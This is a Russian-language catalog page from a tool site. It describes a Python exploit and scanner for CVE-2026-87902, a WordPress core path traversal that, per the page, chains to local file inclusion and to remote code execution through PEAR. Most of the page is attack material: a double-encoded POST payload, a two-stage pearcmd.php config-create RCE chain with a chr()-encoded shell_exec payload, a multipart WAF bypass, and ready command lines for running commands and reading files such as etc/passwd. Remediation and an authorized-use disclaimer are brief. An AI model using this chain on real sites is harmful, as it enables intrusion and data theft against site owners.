Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-87902 — Python PoC и сканер для CVE-2026-87902 — обхода пути в ядре WordPress, приводящего к LFI и RCE на основе PEAR, с обходом WAF и автоматизированной эксплуатацией. | Kitploit
Инструменты/GitHubGitHub/bhideki/cve-2026-87902
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubbhideki/cve-2026-87902

CVE-2026-87902

Python PoC и сканер для CVE-2026-87902 — обхода пути в ядре WordPress, приводящего к LFI и RCE на основе PEAR, с обходом WAF и автоматизированной эксплуатацией.

11 день назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-87902 — Обход пути / LFI / RCE в ядре WordPress

Неаутентифицированное локальное включение файлов через двойное URL-кодирование обхода пути в резолвере шаблонов страниц ядра WordPress, с цепочкой RCE на основе PEAR.

Детали уязвимости

ПолеЗначение
CVECVE-2026-87902
CVSS9.2 (Критический) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Некорректный контроль имени файла для Include/Require
ЗатронутоWordPress 4.7.0 – 7.1.1
ИсправленоWordPress 7.1.2 + бэкпорты во все поддерживаемые ветки
АутентификацияОтсутствует (неаутентифицированный)

Первопричина

get_page_template() в wp-includes/template.php вызывает urldecode() для параметра запроса pagename после того, как санитизация уже выполнена. Дважды закодированная последовательность ../ (%252E%252E%252F) проходит через первое декодирование PHP как %2E%2E%2F, выживает после sanitize_title_with_dashes() (которая сохраняет последовательности %xx), а затем декодируется поздним вызовом urldecode() в WordPress в ../ — выходя за пределы директории темы.

Метод POST требуется потому, что redirect_canonical() завершается досрочно для запросов, отличных от GET/HEAD, предотвращая нормализацию пути до достижения уязвимого кода.

Сценарий эксплуатации

root@kitploit:~
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP декодирует тело POST:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP санитизация сохраняет:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() разрешает: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() успешно → include() выполняет файл

Воздействие

  • Локальное включение файлов — произвольные .php файлы за пределами директории темы включаются и выполняются
  • Удалённое выполнение кода — через цепочку гаджетов PEAR pearcmd.php (требуется установленный PEAR + register_argc_argv=On)

Цепочка RCE через PEAR

Два анонимных POST-запроса приводят к RCE:

Этап 1 — Включение pearcmd.php через обход пути. Строка запроса /?+config-create+/<php-payload>+<output>.php становится argv для PEAR. Команда config-create записывает контролируемые злоумышленником данные (включая PHP-теги) в директорию с правами на запись.

Этап 2 — Включение файла, записанного PEAR. Встроенный PHP выполняется с привилегиями веб-сервера.

PHP-полезные нагрузки используют кодирование chr() (<?=shell_exec(chr(105).chr(100))?>) для избежания символов кавычек, которые экранировал бы wp_magic_quotes().

Инструмент

cve-2026-87902.py — автоматический чекер + LFI-сканер + эксплойт RCE через PEAR. Использует http.client для побайтового контроля запросов (без перекодирования библиотекой).

Требования

Python 3.6+ (только стандартная библиотека — без зависимостей pip)

Использование

root@kitploit:~
# Проверка только уязвимости
python3 cve-2026-87902.py https://target.com --check

# Проверка с обходом WAF (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# Указание ID страницы и глубины обхода
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI-сканирование (цели по умолчанию)
python3 cve-2026-87902.py https://target.com

# LFI-сканирование с пользовательскими файлами
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# RCE через цепочку PEAR
python3 cve-2026-87902.py https://target.com --rce "id"

# Чтение файла через RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# Полный набор опций
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

Что он делает

  1. Определение темы — извлекает активную тему из HTML, проверяет наличие директорий page-*
  2. Обнаружение страниц — запрашивает REST API для опубликованных страниц с шаблонами по умолчанию
  3. Тест обхода пути — перебирает несколько глубин (1-12) с дважды закодированными POST-полезными нагрузками
  4. Обход WAF — --multipart оборачивает полезную нагрузку в multipart/form-data для обхода сопоставления с шаблонами WAF
  5. LFI-сканирование — включает известные файлы WordPress и сравнивает размеры ответов с базовым уровнем
  6. RCE — двухэтапная цепочка PEAR с полезными нагрузками, закодированными через chr()

Маркеры вывода

МаркерЗначение
[HIT]Файл успешно включён
[---]Нормальный ответ (файл не включён)
[???]Ответ значительно отличается — стоит исследовать
[WAF]Заблокировано WAF (403)
[ERR]Ошибка соединения

Предусловия

  • Активная тема должна содержать директорию page-* (например, page-templates/)
  • Как минимум одна опубликованная страница с шаблоном по умолчанию
  • Версия WordPress в затронутом диапазоне (не пропатчена)
  • Для RCE: читаемый pearcmd.php из PEAR + register_argc_argv=On + записываемый /tmp

Устранение

Обновитесь до WordPress 7.1.2 или последнего релиза безопасности для вашей ветки (бэкпорты доступны до 4.7).

Ссылки

  • Robert Ressl — Разбор CVE-2026-87902
  • Рекомендации по безопасности WordPress — GHSA-7hp8-65ch-5whp
  • Оповещение об уязвимости Hadrian

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и исследований в рамках bug bounty. Используйте его только против систем, на тестирование которых у вас есть явное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.

Скачать инструмент